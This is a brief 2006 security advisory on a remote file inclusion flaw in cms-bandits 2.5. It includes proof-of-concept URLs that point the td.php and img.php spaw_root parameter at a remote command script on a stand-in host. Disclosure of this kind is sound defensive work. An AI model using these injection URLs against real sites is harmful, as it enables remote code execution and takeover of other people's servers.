|
----------------------------------------------------- Advisory id: FSA:006 Author: Federico Fazzi Date: 08/06/2006, 11:09 Sinthesis: cms-bandits 2.5, Remote command execution Type: high Product: http://sourceforge.net/projects/cms-bandits Patch: unavailable ----------------------------------------------------- 1) Description: Error occured in td.php, include $spaw_root.'class/util.class.php'; include $spaw_root.'class/lang.class.php'; Error occured in img.php, include $spaw_root.'class/util.class.php'; include $spaw_root.'class/lang.class.php'; required register_global = On, The users can include a remote file because the $spaw_root is undeclare. 2) Proof of concept: http://127.0.0.1/cms/dialogs/td.php?spaw_root=[cmd_with_final_slash] http://127.0.0.1/cms/dialogs/img.php?spaw_root=[cmd_with_final_slash] [cmd_with_final_slash] = http://example/cmd.php/ cmd.php = 3) Solution: sanitized the variable on img.php, td.php.